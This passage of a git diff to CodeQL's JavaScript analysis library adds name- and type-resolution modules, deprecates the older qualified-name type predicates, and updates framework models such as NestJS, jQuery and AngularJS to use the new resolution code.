"[number]") ) or - exists(Closure::ClosureNamespaceAccess acc | node = acc | - result = acc.getClosureNamespace() and + exists(Closure::RequireCallExpr req | node = req.flow() | + result = req.getClosureNamespace() and root.isGlobal() ) or diff --git a/javascript/ql/lib/semmle/javascript/JSDoc.qll b/javascript/ql/lib/semmle/javascript/JSDoc.qll index 10970a2e8b0..85b7695cd70 100644 --- a/javascript/ql/lib/semmle/javascript/JSDoc.qll +++ b/javascript/ql/lib/semmle/javascript/JSDoc.qll @@ -33,6 +33,9 @@ class JSDoc extends @jsdoc, Locatable { result.getTitle() = title } + /** Gets the element to which this JSDoc comment is attached */ + Documentable getDocumentedElement() { result.getDocumentation() = this } + override string toString() { result = this.getComment().toString() } } @@ -299,6 +302,41 @@ class JSDocIdentifierTypeExpr extends @jsdoc_identifier_type_expr, JSDocTypeExpr override predicate isRawFunction() { this.getName() = "Function" } } +private AstNode getAncestorInScope(Documentable doc) { + any(JSDocLocalTypeAccess t).getJSDocComment() = doc.getDocumentation() and // restrict to cases where we need this + result = doc.getParent() + or + exists(AstNode mid | + mid = getAncestorInScope(doc) and + not mid = any(Scope s).getScopeElement() and + result = mid.getParent() + ) +} + +private Scope getScope(Documentable doc) { result.getScopeElement() = getAncestorInScope(doc) } + +pragma[nomagic] +private predicate shouldResolveName(TopLevel top, string name) { + exists(JSDocLocalTypeAccess access | + access.getName() = name and + access.getTopLevel() = top + ) +} + +private LexicalName getOwnLocal(Scope scope, string name, DeclarationSpace space) { + scope = result.getScope() and + name = result.getName() and + space = result.getDeclarationSpace() and + shouldResolveName(scope.getScopeElement().getTopLevel(), name) // restrict size of predicate +} + +private LexicalName resolveLocal(Scope scope, string name, DeclarationSpace space) { + result = getOwnLocal(scope, name, space) + or + result = resolveLocal(scope.getOuterScope(), name, space) and + not exists(getOwnLocal(scope, name, space)) +} + /** * An unqualified identifier in a JSDoc type expression. * @@ -311,6 +349,12 @@ class JSDocIdentifierTypeExpr extends @jsdoc_identifier_type_expr, JSDocTypeExpr */ class JSDocLocalTypeAccess extends JSDocIdentifierTypeExpr { JSDocLocalTypeAccess() { not this = any(JSDocQualifiedTypeAccess a).getNameNode() } + + /** Gets a variable, type-name, or namespace that this expression may resolve to. */ + LexicalName getALexicalName() { + result = + resolveLocal(getScope(this.getJSDocComment().getDocumentedElement()), this.getName(), _) + } } /** @@ -371,7 +415,7 @@ class JSDocNamedTypeExpr extends JSDocTypeExpr { * - `foo.bar.Baz` has prefix `foo` and suffix `.bar.Baz`. * - `Baz` has prefix `Baz` and an empty suffix. */ - predicate hasNameParts(string prefix, string suffix) { + deprecated predicate hasNameParts(string prefix, string suffix) { not this = any(JSDocQualifiedTypeAccess a).getBase() and // restrict size of predicate exists(string regex, string name | regex = "([^.]+)(.*)" | name = this.getRawName() and @@ -379,46 +423,6 @@ class JSDocNamedTypeExpr extends JSDocTypeExpr { suffix = name.regexpCapture(regex, 2) ) } - - pragma[noinline] - pragma[nomagic] - private predicate hasNamePartsAndEnv(string prefix, string suffix, JSDoc::Environment env) { - // Force join ordering - this.hasNameParts(prefix, suffix) and - env.isContainerInScope(this.getContainer()) - } - - /** - * Gets the qualified name of this name by resolving its prefix, if any. - */ - cached - private string resolvedName() { - exists(string prefix, string suffix, JSDoc::Environment env | - this.hasNamePartsAndEnv(prefix, suffix, env) and - result = env.resolveAlias(prefix) + suffix - ) - } - - override predicate hasQualifiedName(string globalName) { - globalName = this.resolvedName() - or - not exists(this.resolvedName()) and - globalName = this.getRawName() - } - - override DataFlow::ClassNode getClass() { - exists(string name | - this.hasQualifiedName(name) and - result.hasQualifiedName(name) - ) - or - // Handle case where a local variable has a reference to the class, - // but the class doesn't have a globally qualified name. - exists(string alias, JSDoc::Environment env | - this.hasNamePartsAndEnv(alias, "", env) and - result.getAClassReference().flowsTo(env.getNodeFromAlias(alias)) - ) - } } /** @@ -447,12 +451,6 @@ class JSDocAppliedTypeExpr extends @jsdoc_applied_type_expr, JSDocTypeExpr { * For example, in `Array`, `string` is the only argument type. */ JSDocTypeExpr getAnArgument() { result = this.getArgument(_) } - - override predicate hasQualifiedName(string globalName) { - this.getHead().hasQualifiedName(globalName) - } - - override DataFlow::ClassNode getClass() { result = this.getHead().getClass() } } /** @@ -472,8 +470,6 @@ class JSDocNullableTypeExpr extends @jsdoc_nullable_type_expr, JSDocTypeExpr { predicate isPrefix() { jsdoc_prefix_qualifier(this) } override JSDocTypeExpr getAnUnderlyingType() { result = this.getTypeExpr().getAnUnderlyingType() } - - override DataFlow::ClassNode getClass() { result = this.getTypeExpr().getClass() } } /** @@ -493,8 +489,6 @@ class JSDocNonNullableTypeExpr extends @jsdoc_non_nullable_type_expr, JSDocTypeE predicate isPrefix() { jsdoc_prefix_qualifier(this) } override JSDocTypeExpr getAnUnderlyingType() { result = this.getTypeExpr().getAnUnderlyingType() } - - override DataFlow::ClassNode getClass() { result = this.getTypeExpr().getClass() } } /** @@ -599,8 +593,6 @@ class JSDocOptionalParameterTypeExpr extends @jsdoc_optional_type_expr, JSDocTyp override JSDocTypeExpr getAnUnderlyingType() { result = this.getUnderlyingType().getAnUnderlyingType() } - - override DataFlow::ClassNode getClass() { result = this.getUnderlyingType().getClass() } } /** @@ -635,7 +627,7 @@ module JSDoc { /** * A statement container which may declare JSDoc name aliases. */ - class Environment extends StmtContainer { + deprecated class Environment extends StmtContainer { /** * Gets the fully qualified name aliased by the given unqualified name * within this container. @@ -685,7 +677,7 @@ module JSDoc { } pragma[noinline] - private predicate isTypenamePrefix(string name) { + deprecated private predicate isTypenamePrefix(string name) { any(JSDocNamedTypeExpr expr).hasNameParts(name, _) } } diff --git a/javascript/ql/lib/semmle/javascript/TypeAnnotations.qll b/javascript/ql/lib/semmle/javascript/TypeAnnotations.qll index d10b60b92b5..318ad2f8873 100644 --- a/javascript/ql/lib/semmle/javascript/TypeAnnotations.qll +++ b/javascript/ql/lib/semmle/javascript/TypeAnnotations.qll @@ -4,6 +4,8 @@ import javascript private import internal.StmtContainers +private import internal.NameResolution +private import internal.UnderlyingTypes /** * A type annotation, either in the form of a TypeScript type or a JSDoc comment. @@ -75,14 +77,38 @@ class TypeAnnotation extends @type_annotation, NodeInStmtContainer { TypeAnnotation getAnUnderlyingType() { result = this } /** + * DEPRECATED. Use `hasUnderlyingType` instead. + * * Holds if this is a reference to the type with qualified name `globalName` relative to the global scope. */ - predicate hasQualifiedName(string globalName) { none() } + deprecated predicate hasQualifiedName(string globalName) { + UnderlyingTypes::nodeHasUnderlyingType(this, globalName) + } /** + * DEPRECATED. Use `hasUnderlyingType` instead. + * * Holds if this is a reference to the type exported from `moduleName` under the name `exportedName`. */ - predicate hasQualifiedName(string moduleName, string exportedName) { none() } + deprecated predicate hasQualifiedName(string moduleName, string exportedName) { + UnderlyingTypes::nodeHasUnderlyingType(this, moduleName, exportedName) + } + + /** + * Holds if this is a reference to the type with qualified name `globalName` relative to the global scope, + * or is declared as a subtype thereof, or is a union or intersection containing such a type. + */ + final predicate hasUnderlyingType(string globalName) { + UnderlyingTypes::nodeHasUnderlyingType(this, globalName) + } + + /** + * Holds if this is a reference to the type exported from `moduleName` under the name `exportedName`, + * or is declared as a subtype thereof, or is a union or intersection containing such a type. + */ + final predicate hasUnderlyingType(string moduleName, string exportedName) { + UnderlyingTypes::nodeHasUnderlyingType(this, moduleName, exportedName) + } /** Gets the statement in which this type appears. */ Stmt getEnclosingStmt() { none() } @@ -107,5 +133,5 @@ class TypeAnnotation extends @type_annotation, NodeInStmtContainer { * * This unfolds nullability modifiers and generic type applications. */ - DataFlow::ClassNode getClass() { none() } + final DataFlow::ClassNode getClass() { UnderlyingTypes::nodeHasUnderlyingClassType(this, result) } } diff --git a/javascript/ql/lib/semmle/javascript/TypeScript.qll b/javascript/ql/lib/semmle/javascript/TypeScript.qll index 4be331ed6a5..ab670700c24 100644 --- a/javascript/ql/lib/semmle/javascript/TypeScript.qll +++ b/javascript/ql/lib/semmle/javascript/TypeScript.qll @@ -1,4 +1,5 @@ import javascript +private import semmle.javascript.internal.UnderlyingTypes /** * A statement that defines a namespace, that is, a namespace declaration or enum declaration. @@ -575,10 +576,6 @@ class TypeExpr extends ExprOrType, @typeexpr, TypeAnnotation { override Function getEnclosingFunction() { result = ExprOrType.super.getEnclosingFunction() } override TopLevel getTopLevel() { result = ExprOrType.super.getTopLevel() } - - override DataFlow::ClassNode getClass() { - result.getAstNode() = this.getType().(ClassType).getClass() - } } /** @@ -698,58 +695,9 @@ class TypeAccess extends @typeaccess, TypeExpr, TypeRef { */ TypeName getTypeName() { ast_node_symbol(this, result) } - override predicate hasQualifiedName(string globalName) { - this.getTypeName().hasQualifiedName(globalName) - or - exists(LocalTypeAccess local | local = this | - not exists(local.getLocalTypeName()) and // Without a local type name, the type is looked up in the global scope. - globalName = local.getName() - ) - } - - override predicate hasQualifiedName(string moduleName, string exportedName) { - this.getTypeName().hasQualifiedName(moduleName, exportedName) - or - exists(ImportDeclaration imprt, ImportSpecifier spec | - moduleName = getImportName(imprt) and - spec = imprt.getASpecifier() - | - spec.getImportedName() = exportedName and - this = spec.getLocal().(TypeDecl).getLocalTypeName().getAnAccess() - or - (spec instanceof ImportNamespaceSpecifier or spec instanceof ImportDefaultSpecifier) and - this = - spec.getLocal().(LocalNamespaceDecl).getLocalNamespaceName().getAMemberAccess(exportedName) - ) - or - exists(ImportEqualsDeclaration imprt | - moduleName = getImportName(imprt.getImportedEntity()) and - this = - imprt - .getIdentifier() - .(LocalNamespaceDecl) - .getLocalNamespaceName() - .getAMemberAccess(exportedName) - ) - } - override string getAPrimaryQlClass() { result = "TypeAccess" } } -/** - * Gets a suitable name for the library imported by `imprt`. - * - * For relative imports, this is the snapshot-relative path to the imported module. - * For non-relative imports, it is the import path itself. - */ -private string getImportName(Import imprt) { - exists(string path | path = imprt.getImportedPathString() | - if path.regexpMatch("[./].*") - then result = imprt.getImportedModule().getFile().getRelativePath() - else result = path - ) -} - /** An identifier that is used as part of a type, such as `Date`. */ class LocalTypeAccess extends @local_type_access, TypeAccess, Identifier, LexicalAccess { override predicate isStringy() { this.getName() = "String" } @@ -822,14 +770,6 @@ class GenericTypeExpr extends @generic_typeexpr, TypeExpr { /** Gets the number of type arguments. This is always at least one. */ int getNumTypeArgument() { result = count(this.getATypeArgument()) } - override predicate hasQualifiedName(string globalName) { - this.getTypeAccess().hasQualifiedName(globalName) - } - - override predicate hasQualifiedName(string moduleName, string exportedName) { - this.getTypeAccess().hasQualifiedName(moduleName, exportedName) - } - override string getAPrimaryQlClass() { result = "GenericTypeExpr" } } diff --git a/javascript/ql/lib/semmle/javascript/Variables.qll b/javascript/ql/lib/semmle/javascript/Variables.qll index 1eeb735124b..2f9905f86e1 100644 --- a/javascript/ql/lib/semmle/javascript/Variables.qll +++ b/javascript/ql/lib/semmle/javascript/Variables.qll @@ -27,6 +27,12 @@ class Scope extends @scope { result = this.getAVariable() and result.getName() = name } + + /** Gets the local type name with the given name declared in this scope. */ + LocalTypeName getLocalTypeName(string name) { + result.getScope() = this and + result.getName() = name + } } /** @@ -128,8 +134,26 @@ class Variable extends @variable, LexicalName { /** Gets the scope this variable is declared in. */ override Scope getScope() { variables(this, _, result) } + /** + * Holds if this variable is declared in the top-level of a module using a `declare` statement. + * + * For example: + * ```js + * declare var $: any; + * ``` + * + * Such variables are generally treated as a global variables, except for type-checking related purposes. + */ + pragma[nomagic] + predicate isTopLevelWithAmbientDeclaration() { + this.getScope() instanceof ModuleScope and + forex(VarDecl decl | decl = this.getADeclaration() | decl.isAmbient()) + } + /** Holds if this is a global variable. */ - predicate isGlobal() { this.getScope() instanceof GlobalScope } + predicate isGlobal() { + this.getScope() instanceof GlobalScope or this.isTopLevelWithAmbientDeclaration() + } /** * Holds if this is a variable exported from a TypeScript namespace. diff --git a/javascript/ql/lib/semmle/javascript/ViewComponentInput.qll b/javascript/ql/lib/semmle/javascript/ViewComponentInput.qll index bc80826de5c..7ab04ad5bd2 100644 --- a/javascript/ql/lib/semmle/javascript/ViewComponentInput.qll +++ b/javascript/ql/lib/semmle/javascript/ViewComponentInput.qll @@ -3,6 +3,7 @@ */ private import javascript +private import semmle.javascript.internal.TypeResolution /** * An input to a view component, such as React props. @@ -14,34 +15,11 @@ abstract class ViewComponentInput extends DataFlow::Node { private class ViewComponentInputAsThreatModelSource extends ThreatModelSource::Range instanceof ViewComponentInput { - ViewComponentInputAsThreatModelSource() { not isSafeType(this.asExpr().getType()) } + ViewComponentInputAsThreatModelSource() { + not TypeResolution::valueHasSanitizingPrimitiveType(this.asExpr()) + } final override string getThreatModel() { result = "view-component-input" } final override string getSourceType() { result = ViewComponentInput.super.getSourceType() } } - -private predicate isSafeType(Type t) { - t instanceof NumberLikeType - or - t instanceof BooleanLikeType - or - t instanceof UndefinedType - or - t instanceof NullType - or - t instanceof VoidType - or - hasSafeTypes(t, t.(UnionType).getNumElementType()) - or - isSafeType(t.(IntersectionType).getAnElementType()) -} - -/** Hold if the first `n` components of `t` are safe types. */ -private predicate hasSafeTypes(UnionType t, int n) { - isSafeType(t.getElementType(0)) and - n = 1 - or - isSafeType(t.getElementType(n - 1)) and - hasSafeTypes(t, n - 1) -} diff --git a/javascript/ql/lib/semmle/javascript/dataflow/DataFlow.qll b/javascript/ql/lib/semmle/javascript/dataflow/DataFlow.qll index 46801bd1ad7..df3d0d5ff8b 100644 --- a/javascript/ql/lib/semmle/javascript/dataflow/DataFlow.qll +++ b/javascript/ql/lib/semmle/javascript/dataflow/DataFlow.qll @@ -27,6 +27,9 @@ private import internal.PreCallGraphStep private import semmle.javascript.internal.CachedStages private import semmle.javascript.dataflow.internal.DataFlowPrivate as Private private import semmle.javascript.dataflow.internal.VariableOrThis +private import semmle.javascript.internal.NameResolution +private import semmle.javascript.internal.UnderlyingTypes +private import semmle.javascript.internal.TypeResolution module DataFlow { /** @@ -189,26 +192,6 @@ module DataFlow { FlowSteps::identityFunctionStep(result, this) } - /** - * Gets the static type of this node as determined by the TypeScript type system. - */ - private Type getType() { - exists(AST::ValueNode node | - this = TValueNode(node) and - ast_node_type(node, result) - ) - or - exists(BindingPattern pattern | - this = lvalueNode(pattern) and - ast_node_type(pattern, result) - ) - or - exists(MethodDefinition def | - this = TThisNode(def.getInit()) and - ast_node_type(def.getDeclaringClass(), result) - ) - } - /** * Gets the type annotation describing the type of this node, * provided that a static type could not be found. @@ -229,6 +212,15 @@ module DataFlow { ) } + private NameResolution::Node getNameResolutionNode() { + this = valueNode(result) + or + exists(PropertyPattern pattern | + result = pattern.getValuePattern() and + this = TPropNode(pattern) + ) + } + /** * Holds if this node is annotated with the given named type, * or is declared as a subtype thereof, or is a union or intersection containing such a type. @@ -236,9 +228,10 @@ module DataFlow { cached predicate hasUnderlyingType(string globalName) { Stages::TypeTracking::ref() and - this.getType().hasUnderlyingType(globalName) - or - this.getFallbackTypeAnnotation().getAnUnderlyingType().hasQualifiedName(globalName) + exists(NameResolution::Node type | + TypeResolution::valueHasType(this.getNameResolutionNode(), type) and + UnderlyingTypes::nodeHasUnderlyingType(type, globalName) + ) } /** @@ -248,9 +241,11 @@ module DataFlow { cached predicate hasUnderlyingType(string moduleName, string typeName) { Stages::TypeTracking::ref() and - this.getType().hasUnderlyingType(moduleName, typeName) - or - this.getFallbackTypeAnnotation().getAnUnderlyingType().hasQualifiedName(moduleName, typeName) + moduleName != "global" and + exists(NameResolution::Node type | + TypeResolution::valueHasType(this.getNameResolutionNode(), type) and + UnderlyingTypes::nodeHasUnderlyingType(type, moduleName, typeName) + ) } /** diff --git a/javascript/ql/lib/semmle/javascript/dataflow/Sources.qll b/javascript/ql/lib/semmle/javascript/dataflow/Sources.qll index 06729815e9a..f861488a046 100644 --- a/javascript/ql/lib/semmle/javascript/dataflow/Sources.qll +++ b/javascript/ql/lib/semmle/javascript/dataflow/Sources.qll @@ -333,7 +333,14 @@ module SourceNode { astNode instanceof TaggedTemplateExpr or astNode instanceof Templating::PipeRefExpr or astNode instanceof Templating::TemplateVarRefExpr or - astNode instanceof StringLiteral + astNode instanceof StringLiteral or + astNode instanceof TypeAssertion or + astNode instanceof SatisfiesExpr + ) + or + exists(VariableDeclarator decl | + exists(decl.getTypeAnnotation()) and + this = DataFlow::valueNode(decl.getBindingPattern()) ) or DataFlow::parameterNode(this, _) diff --git a/javascript/ql/lib/semmle/javascript/dataflow/internal/Contents.qll b/javascript/ql/lib/semmle/javascript/dataflow/internal/Contents.qll index 5cf5bf1e48e..a5af2737c18 100644 --- a/javascript/ql/lib/semmle/javascript/dataflow/internal/Contents.qll +++ b/javascript/ql/lib/semmle/javascript/dataflow/internal/Contents.qll @@ -179,6 +179,9 @@ module Public { /** Holds if this represents values stored at an unknown array index. */ predicate isUnknownArrayElement() { this = MkArrayElementUnknown() } + /** Holds if this represents the value of a resolved promise. */ + predicate isPromiseValue() { this = MkPromiseValue() } + /** Holds if this represents values stored in a `Map` at an unknown key. */ predicate isMapValueWithUnknownKey() { this = MkMapValueWithUnknownKey() } @@ -266,6 +269,11 @@ module Public { or this = ContentSet::anyCapturedContent() and result instanceof Private::MkCapturedContent + or + // Although data flow will never use the special `Awaited` ContentSet in a read or store step, + // it may appear in type-tracking and type resolution, and here it helps to treat is as `Awaited[value]`. + this = MkAwaited() and + result = MkPromiseValue() } /** Gets the singleton content to be accessed. */ diff --git a/javascript/ql/lib/semmle/javascript/frameworks/AngularJS/AngularJSCore.qll b/javascript/ql/lib/semmle/javascript/frameworks/AngularJS/AngularJSCore.qll index a85a0a7813c..248a88e3d1c 100644 --- a/javascript/ql/lib/semmle/javascript/frameworks/AngularJS/AngularJSCore.qll +++ b/javascript/ql/lib/semmle/javascript/frameworks/AngularJS/AngularJSCore.qll @@ -550,20 +550,25 @@ class DirectiveTargetName extends string { * * See https://docs.angularjs.org/api/ng/service/$location for details. */ -private class LocationFlowSource extends RemoteFlowSource instanceof DataFlow::MethodCallNode { +private class LocationFlowSource extends ClientSideRemoteFlowSource instanceof DataFlow::MethodCallNode +{ + private ClientSideRemoteFlowKind kind; + LocationFlowSource() { exists(ServiceReference service, string m, int n | service.getName() = "$location" and this = service.getAMethodCall(m) and n = super.getNumArgument() | - m = "search" and n < 2 + m = "search" and n < 2 and kind.isQuery() or - m = "hash" and n = 0 + m = "hash" and n = 0 and kind.isFragment() ) } override string getSourceType() { result = "$location" } + + override ClientSideRemoteFlowKind getKind() { result = kind } } /** diff --git a/javascript/ql/lib/semmle/javascript/frameworks/Nest.qll b/javascript/ql/lib/semmle/javascript/frameworks/Nest.qll index dd6e1a7d915..d6bcb9ddd40 100644 --- a/javascript/ql/lib/semmle/javascript/frameworks/Nest.qll +++ b/javascript/ql/lib/semmle/javascript/frameworks/Nest.qll @@ -5,6 +5,8 @@ import javascript private import semmle.javascript.security.dataflow.ServerSideUrlRedirectCustomizations private import semmle.javascript.dataflow.internal.PreCallGraphStep +private import semmle.javascript.internal.NameResolution +private import semmle.javascript.internal.TypeResolution /** * Provides classes and predicates for reasoning about [Nest](https://nestjs.com/). @@ -133,7 +135,9 @@ module NestJS { hasSanitizingPipe(this, false) or hasSanitizingPipe(this, true) and - isSanitizingType(this.getParameter().getType().unfold()) + // Note: we could consider types with class-validator decorators to be sanitized here, but instead we consider the root + // object to be tainted, but omit taint steps for the individual properties names that have sanitizing decorators. See ClassValidator.qll. + TypeResolution::isSanitizingPrimitiveType(this.getParameter().getTypeAnnotation()) } } @@ -209,19 +213,6 @@ module NestJS { dependsOnType = true } - /** - * Holds if a parameter of type `t` is considered sanitized, provided it has been checked by `ValidationPipe` - * (which relies on metadata emitted by the TypeScript compiler). - */ - private predicate isSanitizingType(Type t) { - t instanceof NumberType - or - t instanceof BooleanType - // - // Note: we could consider types with class-validator decorators to be sanitized here, but instead we consider the root - // object to be tainted, but omit taint steps for the individual properties names that have sanitizing decorators. See ClassValidator.qll. - } - /** * A user-defined pipe class, for example: * ```js @@ -237,7 +228,7 @@ module NestJS { CustomPipeClass() { exists(ClassDefinition cls | this = cls.flow() and - cls.getASuperInterface().hasQualifiedName("@nestjs/common", "PipeTransform") + cls.getASuperInterface().hasUnderlyingType("@nestjs/common", "PipeTransform") ) } @@ -327,14 +318,6 @@ module NestJS { } } - private predicate isStringType(Type type) { - type instanceof StringType - or - type instanceof AnyType - or - isStringType(type.(PromiseType).getElementType().unfold()) - } - /** * A return value from a route handler, seen as an argument to `res.send()`. * @@ -353,10 +336,10 @@ module NestJS { ReturnValueAsResponseSend() { handler.isReturnValueReflected() and this = handler.getAReturn() and - // Only returned strings are sinks - not exists(Type type | - type = this.asExpr().getType() and - not isStringType(type.unfold()) + // Only returned strings are sinks. If we can find a type for the return value, it must be string-like. + not exists(NameResolution::Node type | + TypeResolution::valueHasType(this.asExpr(), type) and + not TypeResolution::hasUnderlyingStringOrAnyType(type) ) } diff --git a/javascript/ql/lib/semmle/javascript/frameworks/data/internal/ApiGraphModelsSpecific.qll b/javascript/ql/lib/semmle/javascript/frameworks/data/internal/ApiGraphModelsSpecific.qll index c06490b8436..5e9846e9ad5 100644 --- a/javascript/ql/lib/semmle/javascript/frameworks/data/internal/ApiGraphModelsSpecific.qll +++ b/javascript/ql/lib/semmle/javascript/frameworks/data/internal/ApiGraphModelsSpecific.qll @@ -60,9 +60,7 @@ predicate isPackageUsed(string package) { or package = any(JS::Import imp).getImportedPathString() or - any(JS::TypeName t).hasQualifiedName(package, _) - or - any(JS::TypeAnnotation t).hasQualifiedName(package, _) + any(JS::TypeAnnotation t).hasUnderlyingType(package, _) or exists(JS::PackageJson json | json.getPackageName() = package) } @@ -138,7 +136,7 @@ API::Node getExtraNodeFromType(string type) { parseRelevantTypeString(type, package, qualifiedName) | qualifiedName = "" and - result = [API::moduleImport(package), API::moduleExport(package)] + result = [API::Internal::getAModuleImportRaw(package), API::moduleExport(package)] or // Access instance of a type based on type annotations result = API::Internal::getANodeOfTypeRaw(package, qualifiedName) diff --git a/javascript/ql/lib/semmle/javascript/frameworks/jQuery.qll b/javascript/ql/lib/semmle/javascript/frameworks/jQuery.qll index 4fad4ae1b05..70beadbfa57 100644 --- a/javascript/ql/lib/semmle/javascript/frameworks/jQuery.qll +++ b/javascript/ql/lib/semmle/javascript/frameworks/jQuery.qll @@ -60,11 +60,7 @@ private predicate neverReturnsJQuery(string name) { decl.getBaseName() = "jQuery" and decl.getName() = name | - not decl.getDocumentation() - .getATagByTitle("return") - .getType() - .getAnUnderlyingType() - .hasQualifiedName("jQuery") + not decl.getDocumentation().getATagByTitle("return").getType().hasUnderlyingType("jQuery") ) } @@ -414,6 +410,8 @@ module JQuery { this = DataFlow::moduleImport(["jquery", "zepto", "cash-dom"]) or this.hasUnderlyingType("JQueryStatic") + or + this.hasUnderlyingType("jquery", "") } } } diff --git a/javascript/ql/lib/semmle/javascript/internal/NameResolution.qll b/javascript/ql/lib/semmle/javascript/internal/NameResolution.qll new file mode 100644 index 00000000000..96e72108e2e --- /dev/null +++ b/javascript/ql/lib/semmle/javascript/internal/NameResolution.qll @@ -0,0 +1,512 @@ +/** + * Provides name resolution and propagates type information. + */ + +private import javascript + +/** + * Provides name resolution and propagates type information. + */ +module NameResolution { + private class NodeBase = + @expr or @typeexpr or @lexical_name or @toplevel or @function_decl_stmt or @class_decl_stmt or + @namespace_declaration or @enum_declaration or @interface_declaration or + @type_alias_declaration or @jsdoc_type_expr; + + /** + * A node in a graph which we use to perform name and type resolution. + */ + class Node extends NodeBase { + string toString() { + result = this.(AstNode).toString() + or + result = this.(LexicalName).toString() + or + result = this.(JSDocTypeExpr).toString() + } + + Location getLocation() { + result = this.(AstNode).getLocation() + or + result = this.(LocalVariableLike).getLocation() + or + result = this.(JSDocTypeExpr).getLocation() + } + } + + private signature predicate nodeSig(Node node); + + /** + * A module top-level, or a `module {}` or `enum {}` statement. + */ + private class ModuleLike extends AstNode { + ModuleLike() { + this instanceof Module + or + this instanceof NamespaceDefinition // `module {}` or `enum {}` statement + } + } + + /** + * A local variable, or a top-level variable that acts as a global variable due to an ambient declaration. + */ + class LocalVariableLike extends Variable { + LocalVariableLike() { this.isLocal() or this.isTopLevelWithAmbientDeclaration() } + + Location getLocation() { + result = + min(Location loc | + loc = this.getADeclaration().getLocation() + | + loc order by loc.getStartLine(), loc.getStartColumn() + ) + } + } + + /** + * Holds if values/namespaces/types in `node1` can flow to values/namespaces/types in `node2`. + * + * May also include some type-specific steps in cases where this is harmless when tracking values. + */ + private predicate commonStep(Node node1, Node node2) { + // Import paths are part of the graph and has an incoming edge from the imported module, if found. + // This ensures we can also use the PathExpr as a source when working with external (unresolved) modules. + exists(Import imprt | + node1 = imprt.getImportedModule() and + node2 = imprt.getImportedPathExpr() + ) + or + exists(ImportNamespaceSpecifier spec | + node1 = spec.getImportDeclaration().getImportedPathExpr() and + node2 = spec.getLocal() + ) + or + exists(ExportNamespaceSpecifier spec | + node1 = spec.getExportDeclaration().(ReExportDeclaration).getImportedPath() and + node2 = spec + ) + or + exists(ExportAssignDeclaration assign | + node1 = assign.getExpression() and + node2 = assign.getContainer() + ) + or + exists(ImportEqualsDeclaration imprt | + node1 = imprt.getImportedEntity() and + node2 = imprt.getIdentifier() + ) + or + exists(ExternalModuleReference ref | + node1 = ref.getImportedPathExpr() and + node2 = ref + ) + or + exists(ImportTypeExpr imprt | + node1 = imprt.getPathExpr() and // TODO: ImportTypeExpr does not seem to be resolved to a Module + node2 = imprt + ) + or + exists(ClassOrInterface cls | + node1 = cls and + node2 = cls.getIdentifier() + ) + or + exists(NamespaceDefinition def | + node1 = def and + node2 = def.getIdentifier() + ) + or + exists(Function fun | + node1 = fun and + node2 = fun.getIdentifier() + ) + or + exists(EnumMember def | + node1 = def.getInitializer() and + node2 = def.getIdentifier() + ) + or + exists(TypeAliasDeclaration alias | + node1 = alias.getDefinition() and + node2 = alias.getIdentifier() + ) + or + exists(VariableDeclarator decl | + node1 = decl.getInit() and + node2 = decl.getBindingPattern() + ) + or + exists(ParenthesizedTypeExpr type | + node1 = type.getElementType() and + node2 = type + ) + or + exists(ParenthesisExpr expr | + node1 = expr.getExpression() and + node2 = expr + ) + or + exists(NonNullAssertion assertion | + // For the time being we don't use this for nullness analysis, so just + // propagate through these assertions. + node1 = assertion.getExpression() and + node2 = assertion + ) + or + exists(FunctionTypeExpr fun | + node1 = fun.getFunction() and + node2 = fun + ) + or + exists(TypeofTypeExpr type | + node1 = type.getExpressionName() and + node2 = type + ) + or + exists(Closure::RequireCallExpr req | + node1.(Closure::ClosureModule).getClosureNamespace() = req.getClosureNamespace() and + node2 = req + ) + or + exists(Closure::ClosureModule mod | + node1 = mod.getExportsVariable() and + node2 = mod + ) + or + exists(ImmediatelyInvokedFunctionExpr fun, int i | + node1 = fun.getArgument(i) and + node2 = fun.getParameter(i) + ) + } + + /** + * Holds if there is a read from `node1` to `node2` that accesses the member `name`. + */ + predicate readStep(Node node1, string name, Node node2) { + exists(QualifiedTypeAccess access | + node1 = access.getQualifier() and + name = access.getIdentifier().getName() and + node2 = access + ) + or + exists(QualifiedNamespaceAccess access | + node1 = access.getQualifier() and + name = access.getIdentifier().getName() and + node2 = access + ) + or + exists(QualifiedVarTypeAccess access | + node1 = access.getQualifier() and + name = access.getIdentifier().getName() and + node2 = access + ) + or + exists(PropAccess access | + node1 = access.getBase() and + name = access.getPropertyName() and + node2 = access + ) + or + exists(ObjectPattern pattern | + node1 = pattern and + node2 = pattern.getPropertyPatternByName(name).getValuePattern() + ) + or + exists(ImportSpecifier spec | + node1 = spec.getImportDeclaration().getImportedPathExpr() and + name = spec.getImportedName() and + node2 = spec.getLocal() + ) + or + exists(SelectiveReExportDeclaration exprt, ExportSpecifier spec | + spec = exprt.getASpecifier() and + node1 = exprt.getImportedPath() and + name = spec.getLocalName() and + node2 = spec.getLocal() + ) + or + exists(JSDocQualifiedTypeAccess expr | + node1 = expr.getBase() and + name = expr.getName() and + node2 = expr + ) + } + + private signature module TypeResolutionInputSig { + /** + * Holds if flow is permitted through the given variable. + */ + predicate isRelevantVariable(LexicalName var); + } + + /** + * A local variable with exactly one definition, not counting implicit initialization. + */ + private class EffectivelyConstantVariable extends LocalVariableLike { + EffectivelyConstantVariable() { + count(SsaExplicitDefinition ssa | ssa.getSourceVariable() = this) <= 1 // count may be zero if ambient + } + } + + /** Configuration for propagating values and namespaces */ + private module ValueConfig implements TypeResolutionInputSig { + predicate isRelevantVariable(LexicalName var) { + var instanceof EffectivelyConstantVariable + or + // We merge the namespace and value declaration spaces as it seems there is + // no need to distinguish them in practice. + var instanceof LocalNamespaceName + } + } + + /** + * Associates information about values, such as references to a class, module, or namespace. + */ + module ValueFlow = FlowImpl; + + private module TypeConfig implements TypeResolutionInputSig { + predicate isRelevantVariable(LexicalName var) { var instanceof LocalTypeName } + } + + /** + * Associates nodes with information about types. + */ + module TypeFlow = FlowImpl; + + /** + * Generates a directed graph for tracking type names or value names back toward their definition. + * The ultimate definition might not be in the database, but the graph lets us track as far as we can. + * + * The module parameter determines whether types or values should be tracked. + * + * The example below illustrates the need for two separate instantiations of this module. + * When tracking through the nodes corresponding to `X`, we need to remember whether a type or value was tracked. + * + * ```ts + * // lib.ts + * class C1 {} + * class C2 {} + * + * const X = C1; + * type X = C2; + * + * export { X } + * + * // use.ts + * import { X } from "./lib" + * + * var x1 = X // should refer to C1 + * var x2: X; // should refer to C2 + * ``` + */ + private module FlowImpl { + /** + * Gets the exported member of `mod` named `name`. + */ + Node getModuleExport(ModuleLike mod, string name) { + exists(ExportDeclaration exprt | + mod = exprt.getContainer() and + exprt.exportsAs(result, name) and + S::isRelevantVariable(result) + ) + or + exists(ExportNamespaceSpecifier spec | + result = spec and + mod = spec.getContainer() and + name = spec.getExportedName() + ) + or 